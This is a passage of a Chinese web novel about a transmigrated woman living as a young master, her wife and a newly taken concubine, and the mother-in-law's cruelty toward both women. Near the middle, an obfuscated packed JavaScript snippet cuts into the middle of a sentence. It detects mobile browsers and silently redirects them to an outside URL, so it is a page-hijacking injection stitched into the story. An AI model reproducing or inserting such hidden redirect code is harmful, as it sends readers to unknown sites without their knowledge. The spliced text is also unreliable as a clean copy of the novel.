窗外的阳光渐渐移到床榻中央,将两人的身影笼罩在一片暖融融的光晕里。床内侧的李傲雪呼吸平稳,仿佛早已睡熟,却在不经意间,唇角勾起一抹极浅的笑意。 丁香的动作依旧带着青涩,却透着十足的真诚。她小心翼翼地迎合着,像呵护一件稀世珍宝,每一个吻都带着珍视,每一次触碰都含着情意。 肖晨渐渐放松下来,任由她主导着节奏,感受着她指尖的温度,听着她压抑的轻喘,心里被填得满满当当。原来被人这样放在心尖上疼惜,是这样踏实的滋味。 不知过了多久,房间里的气息渐渐平复,只剩下彼此微促的呼吸。丁香窝在肖晨怀里,浑身发软,脸颊贴在她胸口,听着她有力的心跳,嘴角带着满足的笑意。 肖晨轻轻抚摸着她汗湿的发丝,低头吻了吻她的发顶:“傻丫头。” 丁香蹭了蹭她的脖颈,声音懒洋洋的:“只要公子高兴……” 话没说完,就打了个哈欠,显然是累坏了。 肖晨失笑,替她拢了拢被角,目光转向身旁的李傲雪,见她依旧睡得安稳,便也闭上眼,将怀里的人抱得更紧了些。 阳光透过窗纱,在锦被上投下斑驳的光影,房间里静悄悄的,只有三人平稳的呼吸声交织在一起。 这样的日子,真好。 肖晨在心里默念着,渐渐沉入了安稳的梦乡。 肖晨醒来时,窗外的日头已经偏西,金红色的光透过窗棂,在床榻上投下长长的影子。怀里的丁香还没醒,呼吸均匀,睫毛长长的,像只温顺的小猫。 她动了动身子,丁香似乎被惊扰,往她怀里缩了缩,嘟囔了句模糊的梦话,又沉沉睡去。 肖晨低头看着她恬静的睡颜,心里忽然涌上一阵难以言喻的安稳。 在古代就是好啊。 不用像在现代那样,白天对着仓库的台账发呆,晚上熬着夜打游戏代练,累得手指发麻,还得盘算着下个月的房租。 在这里,醒来就有热腾的饭菜,有人把她的衣袍熨烫得妥帖,有人会为她弹琴,会在她怀里撒娇,会把全部的心意都捧到她面前。 不用累死累活,不用看人脸色,身边有两个真心待她的人,守着这方小院,日子过得像杯温吞的茶,不浓烈,却熨帖。 她轻轻拨开丁香额前的碎发,指尖触到一片温热。 或许这就是安稳吧。 现代有现代的自由和便捷,却少了这份踏实的牵挂;古代有古代的束缚和规矩,却多了这份捧在手心的暖意。 怀里的丁香动了动,缓缓睁开眼睛,看到肖晨正看着她,顿时红了脸,小声道:“公子醒了?” “嗯。”肖晨笑了笑,捏了捏她的脸颊,“睡够了吗?” 丁香点点头,刚要起身,却被肖晨按住:“再躺会儿。” 她顺从地窝回去,侧头看着肖晨,眼里满是依赖:“晚上想吃什么?我让厨房做。” “你做的就好。”肖晨说。 丁香眼睛一亮:“好!我去给你做碗阳春面,放你爱吃的溏心蛋。” 看着她雀跃着起身,匆匆整理好衣襟往外走的背影,肖晨靠在床头,嘴角始终扬着。 真好啊。 她想。 有热饭,有爱,有这样烟火气的日子。 管它什么现代古代,此刻的安稳,才是最实在的。 丁香去了厨房,不多时,李傲雪也醒了。她侧身看着肖晨,眼底带着刚睡醒的慵懒,轻声问:“醒了?” “刚醒。”肖晨伸手将她揽过来,让她靠在自己肩上,“睡得好吗?” 李傲雪点点头,指尖轻轻划过她的手臂:“你在身边,睡得踏实。”她顿了顿,看向窗外,“这一觉竟睡到了傍晚,倒是错过了时辰。” “没事,日子本就该这样慢慢过。”肖晨笑着说,“丁香去给咱们做阳春面了,放你爱吃的青菜。” 李傲雪眼里漾起笑意:“还是你懂我。” 两人有一搭没一搭地说着话,从院子里新开的花,说到库房里该晾晒的药材,都是些琐碎的家常,却透着说不出的惬意。夕阳的光透过窗,把两人的影子拉得很长,落在床榻上,像一幅安静的画。 没过多久,丁香端着托盘回来了,两碗阳春面冒着热气,溏心蛋卧在面上,翠绿的青菜点缀其间,香气瞬间弥漫了整个房间。 “快趁热吃。”她把碗递到两人面前,自己也捧着一碗,坐在旁边小口吃着。 肖晨咬了口溏心蛋,蛋黄顺着嘴角流下来,丁香连忙递过帕子,眼里满是笑意。李傲雪看着这一幕,也忍不住弯了弯唇角。 窗外的天色渐渐暗下来,丫鬟进来点了灯,暖黄的光晕笼罩着房间,更添了几分温馨。 吃完面,肖晨提议去院子里走走。三人并肩坐在廊下的长椅上,晚风带着花香吹过来,舒服得让人想叹气。 “看,今晚的月亮好圆。”丁香指着天上的月亮,眼睛亮晶晶的。 肖晨抬头望去,一轮满月挂在墨蓝色的天空上,清辉洒满庭院,把草木都镀上了一层银边。她忽然想起在现代的那些夜晚,要么是对着电脑打游戏,要么是对着天花板发愁房租,何曾有过这样的闲心看月亮? “确实很圆。”肖晨握紧了身边两人的手,“以后每个月圆的晚上,咱们都这样坐着说话。” 李傲雪靠在她肩上,轻声应道:“好。” 丁香也用力点头:“嗯!” 远处传来打更人的梆子声,“咚——咚——”,是初更了。 肖晨深吸一口气,心里一片安宁。或许人这一辈子,追求的不过就是这样的时刻——有月,有风,有身边人,不用想太多,只用享受当下的安稳。 她低头看着身边两人恬静的侧脸,忽然觉得,不管是现代的奔波,还是古代的牵挂,最终都抵不过此刻的温暖。 这样就很好。 真的很好。 48.贱货就是上不得台面 各位读者新书《烟雨锁钱塘,异魂醒于许仙窍》已经上架 夜露渐浓,廊下的风带了些凉意。李傲雪拢了拢身上的披风,转头看向肖晨,柔声道:“少爷,夜深了,你该陪丁香回房休息了。” 丁香一愣,连忙摆手:“少夫人,这……这不合适,公子还是陪着您才对。” 李傲雪握住她的手,指尖温软:“丁香姑娘刚纳给少爷,正是该多亲近的时候。再说,我今日乏了,想早些歇着。”她特意加重了“姑娘”二字,语气里满是郑重,像是在强调丁香如今的身份。 肖晨看着李傲雪眼底的真诚,又看了看丁香泛红的脸颊,心里明白她是想让自己多安抚丁香。毕竟在这府里,李傲雪始终是主母,却从未摆过架子,反而处处替她们着想。 “傲雪说得是。”肖晨站起身,伸手牵住丁香,“那我们先回房,你也早点歇息。” 李傲雪笑着点头:“去吧。” 丁香被肖晨牵着往自己的房间走,脚步有些踉跄,心里却像揣了只小兔子,怦怦直跳。走到院门口时,她回头望了一眼,见李傲雪还站在廊下,月光落在她身上,温婉得像幅画。 “少夫人她……”丁香小声说,“真好。” 肖晨握紧她的手:“嗯,她一直都很好。” 进了丁香的房间,丫鬟早已点好了灯,暖黄的光把屋子照得格外温馨。不同于李傲雪房里的雅致,这里多了些女儿家的精巧——窗台上摆着几盆多肉的草花,梳妆台上放着个绣了一半的荷包,处处透着鲜活的气息。 “公子坐。”丁香忙着要去倒茶,却被肖晨拉住。 “不用忙。”肖晨把她带到床边坐下,看着她低垂的眉眼,“傲雪说得对,是该多陪陪你。” 丁香的脸瞬间红透了,手指绞着衣角,小声道:“其实……只要能在公子身边,我就很满足了。” 肖晨低头吻了吻她的发顶,声音温柔:“以后,我们三个就这样好好过日子。” 窗外的月光透过窗纸,在地上投下淡淡的影。丁香靠在肖晨怀里,听着她沉稳的心跳,鼻尖萦绕着熟悉的气息,忽然觉得,过去在花船上受的所有苦,都值了。 原来安稳的日子,是有人疼,有人护,是在这样的深夜里,能被人紧紧牵着,不必再担惊受怕。 她轻轻“嗯”了一声,把脸埋得更深了些。 肖晨指尖划过丁香柔顺的发丝,轻声问:“丁香,你是从什么时候开始喜欢我的?” 丁香抬起头,眼里映着烛火的微光,语气带着几分追忆:“从花船第一次见公子的时候。那天我弹了首《凤求凰》,满座宾客都只当是寻常乐子,唯有公子你,听完后轻声说‘弦音里藏着孤舟漂泊的凉’——那是第一次,有人能听懂我的琴声。” 肖晨想起那日的情景,那时她不过是随口一提,却没料到会被她记这么久。 “可你那时就知道我有家室,”肖晨握住她的手,语气里带着几分愧疚,“为什么还要委屈自己,喜欢我呢?” 丁香摇摇头,眼神却异常坚定:“爱就是爱了,哪有什么对错。我在花船上见多了人间冷暖,看惯了虚情假意,那些男人待我,不过是图一时新鲜,何曾有过半分真心?” 她顿了顿,指尖轻轻描摹着肖晨的掌心,声音软下来:“只有公子,你赎我出花船,给我安稳的住处,待我尊重,护我周全。你看我的眼神里没有轻慢,只有平等的珍视——这样的人,让我怎么能不动心?” “哪怕知道要和少夫人共侍一夫?”肖晨追问。 “少夫人是极好的人,”丁香连忙说,“她待我亲厚,从没有主母的架子。能留在公子身边,哪怕只是远远看着,我都觉得是天大的福气,何来委屈?” 肖晨看着她澄澈的眼睛,心里一阵发酸。这姑娘经历了那么多不堪,却依旧保留着这样纯粹的心意,实在难得。 她低头吻了吻丁香的额头,声音郑重:“以后不会再让你受半分委屈。在我心里,你和傲雪一样重要。” 丁香的眼眶瞬间红了,却用力忍着没让眼泪掉下来,只是往肖晨怀里缩了缩,像只找到了归宿的小兽。 原来被人这样坚定地选择着,是这样温暖的滋味。肖晨轻轻拍着丁香的背,心里默默想着,往后的日子,定要好好待她们,才不辜负这份沉甸甸的心意。 肖晨的指尖微微收紧,声音里带着一丝后怕:“你走后那段日子,我一直在想你,甚至以为你是真的铁了心要离开。” 丁香埋在她怀里,声音闷闷的:“我那时也是没办法。王老爷仗着权势买了我,我怕连累公子,只能狠下心说那些绝情的话。其实……每说一句,心里都像被针扎一样。” “我真的以为要失去你了。”肖晨叹了口气,想起那段辗转难眠的日子,至今仍觉心有余悸,“说起来,最初我只是把你当朋友看待。你不知道,我从小就是一个人孤单长大的,没有兄弟姐妹,身边也没什么亲近的人。”她避开了现代的经历,只拣了能说的部分讲。 丁香听得心疼,抬手轻轻环住她的腰:“公子以后不会孤单了。有我,还有少夫人,我们都会陪着你。” “嗯。”肖晨应着,心里泛起一阵暖意。是啊,现在不一样了。 她低头看着丁香柔顺的发顶,又想起李傲雪温婉的眉眼,忽然觉得那些孤单的过往,似乎都成了铺垫,只为让她遇见眼前这些人。 “以后不管发生什么,都别再瞒着我,也别再想着自己扛,好吗?”肖晨的声音带着恳求。 丁香用力点头,眼眶发热:“嗯,再也不分开了。” 肖晨看了看窗外的夜色,柔声道:“时间不早了,我们睡吧。” 她先褪去外衫,随手搭在床边的架子上,回头见丁香还有些拘谨地坐着,便自然地伸出手,替她解开衣襟的系带。 丁香的身体微微一僵,却没有躲闪。在她心里,眼前的人是自己认定的依靠,是名正言顺的夫君,他做什么都是该当的,无需羞怯。 衣衫滑落,露出她纤细却匀称的身段。肖晨目光掠过,随口赞了句:“你身材挺好的,明天让丫鬟找个好裁缝来,给你做几件合身的新衣服,料子挑你喜欢的。” 丁香原本垂着眼,听到这话猛地抬起头,眼里满是惊喜和动容。她自小在花船长大,穿的都是些将就的衣裳,从未有人这般细致地为她着想。 不等她说什么,肖晨已经躺进被窝,拍了拍身边的位置:“快进来,夜里凉。” 丁香依言躺下,刚沾到被褥,就主动往肖晨怀里靠了靠,双臂紧紧环住她的腰,把脸贴在她心口,声音带着浓浓的鼻音:“公子,你对我太好了……” 肖晨被她抱得紧实,能清晰地感受到她身体的轻颤,心里软得一塌糊涂。她抬手轻抚着她的后背,像安抚一只受了委屈的小猫:“傻丫头,以后会更好的。” 丁香没再说话,只是把脸埋得更深,滚烫的泪落在肖晨的衣襟上,很快洇开一小片湿痕。这泪水里没有委屈,只有被珍视的感动——原来被人放在心尖上疼,是这样熨帖的滋味。 肖晨感受着怀里人逐渐平稳的呼吸,知道她是累极了,也安心极了。她轻轻收紧手臂,鼻尖萦绕着她发间淡淡的皂角香,心里一片安宁。 晨光透过窗纸漫进房间时,肖晨还赖在被窝里,鼻尖蹭着丁香的发顶,睡得正沉。丁香却醒得早,小心翼翼地从她怀里挪出来,轻手轻脚地起身洗漱。等她收拾妥当,肖晨才打着哈欠坐起来,被她伺候着穿衣时,还带着浓浓的睡意。 两人并肩往正厅去时,远远就闻到了早饭的香气。刚跨进门槛,就见肖母端坐在主位上,李傲雪陪在一旁,桌上的粥菜还冒着热气。 李傲雪先起身行了礼:“母亲,少爷,丁香姑娘。” 丁香跟着肖晨走上前,规规矩矩地屈膝:“给母亲请安。” 肖晨也跟着问候:“娘,早。” 肖母却没看她,目光落在丁香身上,眉头拧得紧紧的,语气里满是嫌恶:“不用请安了。”她把手里的茶盏重重往桌上一放,瓷碗碰撞发出脆响,“你这上不得台面的东西,也配在我跟前称‘请安’?少在这儿碍眼,添什么乱!” 丁香的脸瞬间白了,手紧紧攥着衣角,头垂得更低,连呼吸都放轻了。她早知道主母难伺候,却没料到会被这样直白地羞辱。 肖晨脸色一沉,往前站了半步,把丁香护在身后,语气冷了几分:“娘,丁香现在是我的人,您说话客气些。” “你的人?”肖母冷笑一声,拍着桌子站起来,“我当初就不同意你把这花船里出来的狐狸精弄进府!如今倒好,刚进门就敢登堂入室来碍我的眼,真当我肖家没人管得了你了?” 李傲雪连忙上前劝:“母亲息怒,丁香姑娘是个懂事的,您别气坏了身子。” “你也帮着她说话?”肖母瞪向李傲雪,“我看你就是太贤惠,才让这起子下贱东西爬到头上!” 肖晨拦在两人身前,语气坚定:“娘,丁香是我亲自纳进门的,她的品行我清楚。您要是不喜欢,往后少照面便是,但在我面前,休要再骂她一句!” 这话堵得肖母脸色发青,指着肖晨半天说不出话来,最后狠狠一甩袖子:“反了反了!我看你是被这狐狸精迷昏了头!这早饭我不吃了!” 说罢,她怒气冲冲地转身就走,留下满室尴尬。 桌上的粥还冒着热气,却没人再有心思动筷子。丁香咬着唇,眼圈泛红,拉了拉肖晨的衣袖:“公子,是我不好,惹母亲生气了……” “不关你的事。”肖晨握住她冰凉的手,看向李傲雪,“让厨房把菜热着,我们回房吃。” 李傲雪点点头,轻声道:“去吧,我让丫鬟给你们送过去。” 肖晨没再多说,牵着丁香转身离开。走到门口时,他回头看了眼桌上渐渐冷却的饭菜,又看了看丁香紧绷的侧脸,心里暗叹一声——看来这府里的安稳日子,还得先过了母亲这关才行。 丁香看着肖晨紧绷的侧脸,心里实在不安,轻声劝道:“公子,还是我去给母亲请罪吧。母亲气坏了身子,不肯吃饭,这可怎么好?” 肖晨皱眉:“不行,你去了她只会更生气,平白再受委屈。” “可我是晚辈,本就该让着母亲。”丁香望着肖母离去的方向,语气带着执拗,“我去好好伺候她,日子久了,总能让她消气的。” 她不等肖晨再拦,转身快步走到桌边,端起一碗刚温好的参汤,又拿了块精致的糕点,低声道:“我去试试。” 肖晨想拉住她,却被她避开了。丁香端着托盘,脚步有些发颤,却一步步朝着肖母的院子走去。 刚走到肖母房门口,就被守在外面的丫鬟拦住了。“滚开!夫人不想见你!”那丫鬟也是仗着肖母的势,推了丁香一把。 托盘一晃,参汤洒了些在她手背上,烫得她指尖发麻,却咬着牙没作声。她定了定神,轻声道:“烦请姐姐通报一声,我只是来给母亲送些吃食。” 屋里传来肖母尖利的声音:“让她滚!什么东西,也配进我的房门?打出去!别脏了我的地!” 那丫鬟得了令,立刻上前推搡:“听见没有?夫人让你滚!” 丁香被推得一个趔趄,手里的托盘掉在地上,瓷碗摔得粉碎,参汤溅了满地。她踉跄着站稳,看着地上的狼藉,眼圈瞬间红了。 “贱货就是贱货,连碗汤都端不稳!”肖母的声音从屋里传出来,满是鄙夷,“还愣着干什么?真要在这儿碍眼吗?” 丁香咬着唇,指甲深深掐进掌心,强忍着没让眼泪掉下来。她知道,自己再留在这里只会更难堪。 她深深吸了口气,对着房门福了福身,声音带着不易察觉的颤抖:“是我笨手笨脚,惹母亲生气了。我……先退下了。” 说完,她转身默默离开,背影单薄得像一片随时会被风吹走的叶子。 回到正厅时,肖晨和李傲雪都还在等她。见她空着手回来,手背上还有红肿的烫痕,肖晨的脸色瞬间沉了下去:“她打你了?” 丁香摇摇头,声音很低:“没有,是我自己不小心烫到的。” 李傲雪拉过她的手,看着那片红肿,心疼道:“快让丫鬟拿些烫伤药来。” 肖晨看着她通红的眼眶,心里又气又疼,沉声道:“我就说不让你去,你偏不听。” “母亲只是一时气头上……”丁香低着头,“以后总会好的。” 肖晨没再说话,只是紧紧握住她的手。他知道,丁香心里的委屈,远比手上的烫伤更疼。 这府里的日子,终究还是没能像他想的那样安稳。但他看着身边强忍着泪水的丁香,和一脸担忧的李傲雪,心里忽然生出一股坚定——无论如何,他都要护着她们,不让她们再受这样的委屈。 窗外的阳光明明晃晃,却照不进这满室的沉闷。李傲雪默默让人收拾了地上的狼藉,又重新端了饭菜来,轻声道:“先吃饭吧,菜要凉了。” 丁香拿起筷子,却觉得喉咙发紧,怎么也咽不下。肖晨看在眼里,夹了块她爱吃的糕点放在她碗里,低声道:“吃点,别饿坏了身子。” 她点点头,小口小口地嚼着,心里却清楚,往后在这府里,这样的刁难,恐怕还会有很多。 李傲雪看着肖晨紧绷的侧脸,又瞧了瞧丁香泛红的眼眶,轻声提议:“少爷,要不我去劝劝母亲吧?总归是一家人,总不能一直僵着。” 肖晨皱眉:“你去了也是碰钉子,她现在正在气头上。” “可母亲终究是长辈,”李傲雪语气恳切,“我们做晚辈的,总不能失了孝道。我去试试,或许母亲能听我几句。” 肖晨沉默片刻,知道李傲雪说得在理,便点了点头:“那你小心些,别让自己受委屈。” 李傲雪应了声,整理了下衣襟,转身往肖母的院子走去。 进了屋,肖母正坐在榻上生闷气,见她进来,眼皮都没抬一下。 李傲雪走上前,规规矩矩地行了个礼,柔声说:“母亲,您消消气吧,气坏了身子可怎么好?” 肖母猛地抬眼,眼神锐利地扫向她:“你来得正好!怎么,是来为那个贱货说话的?” “母亲,丁香姑娘本性不坏,只是出身苦了些,”李傲雪温声道,“少爷也是心疼她,才会护着些,您别往心里去。” “心疼?我看他是被灌了迷魂汤!”肖母拍着桌子站起来,指着李傲雪的鼻子骂道,“你也不是什么好东西!不要以为我这几日没说你,你就可以蹬鼻子上脸,敢来教训起我了?既然你这么同情那个贱货,那就给我跪下!好好在这儿反省反省,到底谁才是肖家的主母!” 李傲雪愣住了,她没想到母亲会突然将火气撒到自己身上,还要让她下跪。 “母亲……”她咬了咬唇,试图再劝,“儿子儿媳孝顺您是应当的,可这般罚跪……” “怎么?你不肯?”肖母冷笑一声,“看来我是真管不住你们了!连你也敢违抗我的话?” 李傲雪看着肖母盛怒的脸,知道此刻再争辩只会让她更生气。她深吸一口气,缓缓屈膝,跪在了冰凉的地砖上。 “母亲息怒,儿媳知错了。”她垂下眼,声音平静,却难掩一丝委屈。 肖母看着她跪在地上,脸色稍缓,却依旧冷声道:“好好跪着!什么时候想通了,知道谁才是这府里的主子,再起来!” 说完,她别过头去,不再看她。 李傲雪跪在地上,膝盖很快传来冰凉的寒意,可她只是挺直了脊背,一声不吭。她知道,自己这一跪,既是为了劝和,也是为了护住肖晨和丁香——母亲的火气总要有人接,她多受些委屈,或许就能让这场风波早些过去。 肖母盯着跪在地上的李傲雪,见她额角渗出细汗,脸色也有些发白,才放缓了些语气,却依旧带着威严:“你知错了?” 李傲雪膝盖早已麻木,声音却依旧平稳:“儿媳知错了,以后不敢再妄议母亲的决定。” 肖母“哼”了一声,挥了挥手:“起来吧。” 李傲雪撑着地面慢慢站起,膝盖一软,踉跄了一下才站稳,额头上的冷汗顺着脸颊滑落。 “去把那贱货叫过来,”肖母重新坐回榻上,端起茶盏抿了一口,眼神阴鸷,“我有话问她。” 李傲雪应道:“是。” 刚要转身,又被肖母叫住。 “刚才我罚你的事,”肖母盯着她,语气带着警告,“不许让我儿子知道半个字。他现在眼里只有那个狐狸精,要是因为这事闹得我们母子生嫌隙,你这个主母也别当了,趁早卷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16033751|178041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 铺盖被休回娘家去!” 李傲雪心里一紧,垂着眼帘低声道:“儿媳明白,不会让少爷烦心的。” “明白就好。”肖母摆了摆手,“去吧。” 李傲雪退出房间时,后背已被冷汗浸湿。她站在廊下缓了缓,揉了揉发麻的膝盖,才强撑着往回走。 路上遇见肖晨派来寻她的丫鬟,她只说母亲气消了些,让自己去叫丁香过去说话,绝口不提罚跪的事。 回到正厅,肖晨见她脸色不好,连忙上前:“怎么了?母亲为难你了?” 李傲雪勉强笑了笑:“没有,母亲只是还有些气,让我把丁香姑娘叫过去说几句话。”她看向丁香,柔声道,“丁香姑娘,你随我来吧,母亲那边……不会再动气了。” 丁香看着她苍白的脸色,又瞧着她微微发颤的膝盖,心里隐约猜到了什么,攥着衣角的手更紧了,却还是点了点头:“好。” 肖晨不放心:“我跟你们一起去。” “不用了少爷,”李傲雪连忙拦住他,“母亲说只想单独跟丁香姑娘说几句,您去了反倒不方便。放心吧,我会陪着她的。” 肖晨看着李傲雪坚定的眼神,犹豫了一下,终究还是松了手:“那你们小心。” 李傲雪牵着丁香的手往外走,掌心的冰凉让丁香心里一酸。她轻声问:“少夫人,您的膝盖……” 李傲雪摇摇头,示意她别多说,只低声道:“去了顺着母亲些,别硬碰硬。” 丁香用力点头,眼眶却忍不住红了。 原来这看似平静的府里,每个人都在小心翼翼地维系着平衡,连一向受敬重的少夫人,也要受这般委屈。她深吸一口气,心里暗暗打定主意,待会儿无论肖母说什么,她都忍着,绝不能再让少夫人为难。 两人走进肖母的房间,肖母正坐在桌边喝茶,见她们进来,眼皮都没抬一下。 待两人站定,肖母才慢悠悠地对李傲雪说:“你去告诉你家少爷,让他安心去书房读书,别总惦记着屋里这点事。我跟丁香姑娘在这儿说说话,没什么大碍。” 李傲雪应了声“是”,又担忧地看了丁香一眼,才转身离开。 回到正厅,肖晨见她独自回来,立刻起身问:“丁香呢?娘没为难她吧?” “母亲只是想跟丁香姑娘单独说几句,”李傲雪按捺住膝盖的不适,温声道,“她让我转告少爷,安心去读书便是,不会有事的。” 肖晨还是不放心,眉头紧锁:“你……你可得好好看着些,别让娘真动气罚她。” 李傲雪轻轻点头,语气笃定:“少爷放心,我就在外间守着,不会让丁香姑娘受委屈的。” 肖晨犹豫片刻,知道自己此刻进去反而可能激化矛盾,便叹了口气:“那我去书房了,有事立刻让人叫我。” “好。”李傲雪送他到门口,看着他的身影消失在回廊尽头,才转身往肖母的院子走。 外间的丫鬟给她搬了张椅子,她却没坐,只是站在门口附近,竖着耳朵听里面的动静。膝盖的寒意一阵阵往上涌,可她心里更惦记着屋里的丁香,只能强撑着,一动不动地守着。 她知道,自己这一守,不仅是护着丁香,更是护着这个家——哪怕受些委屈,也要让这场风波尽量平息下去。 房间里静得能听见烛火跳动的声音。肖母放下茶盏,目光像淬了冰,直直刺向站在一旁的丁香。 “你这贱货,”她声音尖利,带着毫不掩饰的鄙夷,“别以为从花船里出来,嫁进了肖家,就能摇身一变成清白女人了。” 丁香的身子猛地一颤,指尖掐进掌心,指甲几乎要嵌进肉里,却死死咬着唇,没敢抬头。 “往后在府里老实待着,”肖母继续说道,语气里满是警告,“大门不许出,二门不许迈,更不准在外头抛头露面,败坏了我们肖家的名声。” 她顿了顿,眼神更冷了几分:“要不是因为前些日子城里都在传你跟我儿子的闲话,说他为了个花船女子神魂颠倒,连前程都不顾了,我肖家的脸都被丢尽了——我才不会让你这等下贱东西踏进府门半步!” 这话像一把钝刀,割得丁香心口生疼。原来自己能进这府门,不是因为公子的坚持,竟是因为那些不堪的流言? 她脸色惨白如纸,嘴唇哆嗦着,却一个字也说不出来。在花船里见惯了冷言冷语,可此刻被这样当众撕扯最痛的伤疤,还是让她浑身发冷。 “怎么?没话说了?”肖母冷笑,“记住你的本分!在这府里,你连给傲雪提鞋都不配,别妄想攀高枝,更别想在我面前耍花样。” 丁香猛地抬起头,眼眶通红,却倔强地没让眼泪掉下来:“我……我从没想过要争什么,只想好好伺候公子和少夫人。” “最好是这样。”肖母拍了拍桌子,“行了,碍眼的东西,滚吧!别再让我看见你。” 丁香福了福身,转身快步往外走,脚步虚浮得像踩在棉花上。刚走出房门,就撞见守在外面的李傲雪。 “丁香姑娘!”李傲雪见她脸色不对,连忙扶住她,“你没事吧?” 丁香摇摇头,喉咙哽咽着说不出话,只是用力攥着李傲雪的手,像是抓住了最后一根救命稻草。 原来这安稳的日子,从来都不是那么容易得到的。她望着天边沉沉的暮色,心里第一次生出一丝惶恐——在这深宅大院里,她真的能撑下去吗? 丁香的身影刚消失在院门口,屋里就传来肖母淬毒般的咒骂:“贱货就是贱货,骨子里的下贱气,永远也上不得台面!” 她猛地一拍桌子,对着门外的丫鬟厉声道:“去!把她给我叫回来!” 丫鬟连忙追出去,很快就把还没走远的丁香拉了回来。 肖母站在廊下,指着院子里青石板铺就的路,眼神阴鸷:“刚才你从门口走到我屋前,踩脏了我这院子的地。现在,给我跪在地上,用布把你走过的路,一寸一寸擦干净!” 丁香浑身一震,难以置信地抬头:“母亲,这……” “怎么?你敢抗命?”肖母冷笑,“还是觉得委屈了?在花船里伺候男人的时候,比这难堪百倍的事没做过?现在装什么贞洁烈女!” 这话像鞭子一样抽在丁香脸上,她脸色瞬间褪尽血色,嘴唇咬得发白。 守在一旁的李傲雪连忙上前求情:“母亲,天气凉,地上寒气重,丁香姑娘身子弱,怕是受不住……” “这里有你说话的份?”肖母横了她一眼,“再多嘴,连你一起罚!” 李傲雪抿紧唇,不敢再劝,只能担忧地看着丁香。 丁香深吸一口气,知道此刻再反抗只会招来更难堪的对待。她慢慢屈膝,跪在冰凉的青石板上,额头抵着地面,声音细若蚊蚋:“……是,儿媳遵命。” 丫鬟很快拿来一块粗布和一盆冷水,“咚”地放在她面前。 丁香拿起布,蘸了蘸冷水,冰凉的液体瞬间浸透布料,冻得她指尖发僵。她低着头,一点一点擦拭着自己刚才走过的路,粗糙的布蹭得掌心生疼,膝盖更是像被冰锥刺着,寒意顺着骨头缝往里钻。 肖母站在廊下,抱着手臂冷冷地看着,像在欣赏一场有趣的戏。 李傲雪站在一旁,看着丁香单薄的背影在寒风中微微颤抖,心里像被堵住了一样难受。她悄悄给身边的丫鬟使了个眼色,让她去拿件披风来,却被肖母狠狠瞪了回去:“谁敢给她递东西,就是跟我作对!” 丫鬟吓得连忙缩回手。 日头渐渐西斜,院子里的风越来越冷,卷着落叶打着旋儿。丁香的额头渗出冷汗,混着灰尘粘在脸上,膝盖早已麻木得没了知觉,可手里的动作却没停。 她知道,肖母就是要折辱她,要让她在这府里抬不起头。可她不能倒下——为了公子的牵挂,为了少夫人的维护,哪怕再难,她也要咬牙撑下去。 远处传来脚步声,是肖晨从书房回来了。李傲雪心里一紧,刚想上前拦住,肖母却抢先开口,声音尖利:“怎么?心疼你的心肝宝贝了?我告诉你,在我这儿,规矩不能破!” 肖晨看着跪在地上的丁香,又看了看她手里带血的布,脸色瞬间铁青,大步冲过去将她从地上抱起:“娘!您太过分了!” 丁香被他抱住时,紧绷的神经骤然松懈,眼前一黑,彻底晕了过去。 49.恶语伤人,六月寒。 根据大家的阅读情况,由于没有收到大家的反馈,新书大家不喜欢看,已经不在更了,作者已经发布在豆瓣需各位读者需要付费观看。 肖晨将晕过去的丁香紧紧抱在怀里,她单薄的身子烫得惊人,额前的碎发早已被冷汗浸透。听到肖母的话,他猛地抬头,眼里像燃着怒火:“娘!您看她都成什么样了!” 肖母却毫不在意,抱着手臂冷笑:“装的!定是看你回来了故意装晕博同情!这种贱伎俩,也就你当宝!”她冲丫鬟扬声道,“去打盆冷水来,给我把她泼醒!我倒要好好教教她,在肖家该怎么做人!” “够了!”肖晨的声音陡然拔高,带着从未有过的寒意,“您要是再敢动她一根手指头,别怪我不认您这个娘!” 这话像一道惊雷,炸得肖母愣在原地。她看着儿子眼里毫不掩饰的厌恶和决绝,一时间竟说不出话来。 “我敬您是长辈,事事忍让,可您不能仗着这份敬重,就肆意糟践人!”肖晨小心翼翼地托着丁香,语气又急又痛,“丁香是我明媒正娶纳进门的人,是我的妻子!您这样折磨她,就是在打我的脸!” 他低头看着怀里人事不省的丁香,声音发颤:“她到底做错了什么?您要这样对她?就因为她出身不好?可在我心里,她比那些道貌岸然的伪君子干净一百倍!” 肖母被他吼得脸色青白交加,指着他的手都在发抖:“你……你为了这个贱货,敢这么跟我说话?我可是你娘!” “正因为您是我娘,我才一再容忍!”肖晨抱着丁香转身就走,脚步又快又沉,“但我的容忍是有限度的。您要是再这样,我就带着她和傲雪搬出去住,再也不踏回这个院子半步!” “你敢!”肖母气得浑身发抖,却看着他抱着丁香头也不回地离去,连拦的力气都没了。 廊下的风卷着落叶掠过,肖母僵在原地,看着空荡荡的院门,忽然觉得心里空落落的——那个从小对她言听计从的儿子,好像真的要被别人抢走了。 肖晨抱着丁香一路冲回房间,急声喊丫鬟去请大夫,又亲自拧了帕子给她擦脸。看着她烧得通红的脸颊和掌心磨出的血泡,他的心像被狠狠攥住,又疼又悔。 早知道会这样,当初说什么也不该让她独自去面对母亲。 李傲雪随后赶来,见丁香昏迷不醒,也是急得眼圈发红:“快让大夫看看,别烧坏了身子。” 肖晨握住丁香滚烫的手,声音沙哑:“是我没护好她。” 他看着床上人事不知的丁香,又想起李傲雪被母亲罚跪时隐忍的模样,心里第一次生出强烈的决心——绝不能再让她们受这样的委屈。哪怕是亲娘,也不能! 肖晨指尖触到丁香滚烫的额头,急得声音都发紧:“快,快去请大夫!” 李傲雪连忙按住他的手,轻声道:“少爷别急,丫鬟已经去请了,估摸着这会子该到门口了。”她看了眼床上昏迷的丁香,又看向肖晨,“您先坐下歇歇,看您急的,额头都冒汗了。待会儿大夫来了,总会有法子的。” 肖晨这才发现自己手心全是汗,他重重喘了口气,却没坐下,只是守在床边,目光紧紧盯着丁香的脸。 